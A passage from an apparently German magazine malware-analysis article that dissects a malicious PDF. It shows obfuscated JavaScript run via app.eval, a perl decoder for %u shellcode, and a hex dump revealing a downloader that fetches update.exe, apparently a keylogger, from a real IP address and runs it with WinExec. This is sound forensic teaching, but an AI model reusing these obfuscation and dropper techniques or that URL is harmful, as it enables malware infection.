Tatort Internet: PDF mit Zeitbombe

Seite 2: Dekodiert

Inhaltsverzeichnis

Da finden sich reihenweise Objekte mit den Parametern /Filter /FlateDecode, die dann zwischen stream und endstream Binärdaten enthalten. Meine parallele Lektüre verrät mir, dass einfache Binärdaten in Hex-Darstellung die Anweisung /ASCIIHexDecode enthielten. FlatDecode bedeutet hingegen, dass die Daten mit der (De-)Kompressionsbibliothek zlib zu entpacken sind.

Dazu muss ich zum Glück das Rad nicht neu erfinden. Sid Stuart hat als Beigabe zu seinem Buch das PDF-Toolkit entwickelt, das alles mögliche mit PDF-Dateien anstellen kann. Also etwa einzelne Seiten oder Passwortsperren entfernen oder mit

$ pdftk NTFS-internals.pdf output plain.txt uncompress 

eine unkomprimierte Version erstellen. Das bläst die Datei von 15 auf rund 38 KByte auf. Aber jetzt habe ich wenigstens eine Chance, zu verstehen, was da passiert. In „plain.txt“ überspringe ich seitenweise Zahlenkolonnen für Formatierungen, ein paar JPEG-Bilder und Font-Beschreibungen. Doch halt, zurück – da war etwas. Der Stream in Objekt 62 sieht eindeutig nach JavaScript-Code aus:

this.nfMZkYrtz='nfMZkYrtz';var lookYears = 'var t';
this.zAcSyh0dg=false;...

Stimmt, ich erinnere mich – PDF-Dateien können JavaScript enthalten! Beim genaueren Hinsehen fällt mir auf, dass die den Variablen zugewiesenen Zeichenketten selbst JavaScript-Schnipsel sind. In lookYears landet etwa var t, und etwas weiter unten das Schlüsselwort new in duringFactIf. Der Sinn wird mir klar, als ich das folgende Objekt 63 inspiziere, das weiteren Script-Code enthält:

var out = '' + lookYears+ 
leapGalleyEver+
etcWordSince+
duringFactIf+
[..]

Okay – da wird also in der Variablen out Script-Code zusammengebaut. Und weiter unten in Objekt 65 taucht etwas auf, das aussieht, wie ein Versuch das aufzurufen:

function fBE1wMund0(){}
ex["e"+"val"](out);

Die komische Funktion fBE1wMund0(){} ist nur ein Ablenker. Aber jede Wette, dass ex irgendwie dazu dient, die JavaScript-Funktion eval() so zu aktivieren, dass sie den gesammelten Code ausführt.

Aber langsam wird es mir zu dumm, die X-fach ineinander verschachtelten Verschleierungsfunktionen auseinanderzuklamüsern. Wozu gibt es SpiderMonkey? Also extrahier ich die ganzen JavaScript-Fragmente in eine Datei. Um zu sehen, was da ausgeführt werden soll, ersetze ich noch das ex["e"+"val"](out); durch einen harmlosen print-Befehl und werfe das dann eine halbe Stunde später dem JavaScript-Affen vor.

Wie nicht anders zu erwarten, fällt der beim ersten Versuch auf die Nase: „ReferenceError: app is not defined“. Der Störenfried ist die Zeile

var ex = app; 

Jetzt fällt bei mir der Groschen: ex ist nichts anderes als die Referenz auf den Adobe Reader selbst, auf die man in einem PDF-Dokument via app zugreifen kann. Damit steht der Code-Schnipsel für ex["eval"](out) – eine etwas verschrobene, aber valide Schreibweise für app.eval, also tatsächlich für einen Versuch den Code auszuführen.

Natürlich kennt SpiderMonkey app nicht. Da ich aber das eval-Statement ohnehin entfernt habe, kann ich auch die störende Zuweisung einfach auskommentieren. Der nächste Anlauf klappt endlich und SpiderMonkey spuckt erneut JavaScript-Code aus, den ich wieder in eine Datei schreibe.

Ziemlich am Anfang wird da ein Feld mit über 1000 seltsam formatierten Unicode-Escape-Sequenzen erstellt:

var wly56uG4w = new Array("%u534","0%u524",
"1%u5356%u9","c15%u00e7","%u0000%u",...

das sieht mir sehr nach Shellcode aus, der über eine Sicherheitslücke eingeschleust und ausgeführt werden soll. Um meinen Verdacht zu erhärten, fasse ich die Zeichen zu einem String zusammen und interpretiere das Ganze als Code in Hexadezimal-Darstellung mit

perl -pe 's/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge'  

Als ich den damit erzeugten Code im Hex-Editor anschaue, finde ich den endgültigen Beweis, dass da etwas Böses vor sich geht.

[...]
00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 ..............Ge
74 54 65 6d 70 50 61 74 68 41 00 4c 6f 61 64 4c tTempPathA.LoadL
69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 ibraryA.GetProcA
64 64 72 65 73 73 00 57 69 6e 45 78 65 63 00 bb ddress.WinExec.?
89 f2 89 f7 30 c0 ae 75 fd 29 f7 89 f9 31 c0 be .?.?0??u?)?.?1??
[...]
00 56 57 e8 58 ff ff ff 5f 5e ab 01 ce 80 3e bb .VW?X???_^?.?.>?
74 02 eb ed c3 55 52 4c 4d 4f 4e 2e 44 4c 4c 00 t.???URLMON.DLL.
55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c URLDownloadToFil
65 41 00 75 70 64 61 74 65 2e 65 78 65 00 63 72 eA.update.exe.cr
61 73 68 2e 70 68 70 00 68 74 74 70 3a 2f 2f 32 ash.php.http://2
31 30 2e 35 31 2e 31 38 37 2e 34 35 2f 6c 69 62 10.51.187.45/lib
2f 75 70 64 61 74 65 2e 70 68 70 3f 69 64 3d 30 /update.php?id=0
00 90 ..

Die hier auftauchende URL zeigt auf eine Datei, die nach einhelliger Meinung der Virenscanner von Virustotal einen Keylogger beherbergt. Die sollte dann vermutlich als „update.exe“ im Temp-Verzeichnis abgelegt und via WinExec ausgeführt werden. Aber hat es mich nun erwischt oder nicht? Da mein Virenscanner laut Virustotal das Spionageprogramm erkannt hat, hätte er mich eigentlich warnen sollen, wenn der auf dem System gelandet wäre.

Aber da sind noch zwei weitere Shellcode-Arrays. Deren Analyse ergibt die gleiche URL, nur der Parameter variiert mit „id=1“ beziehungsweise „id=2“. Das spricht dafür, dass noch andere Schadprogramme nachgeladen werden könnten.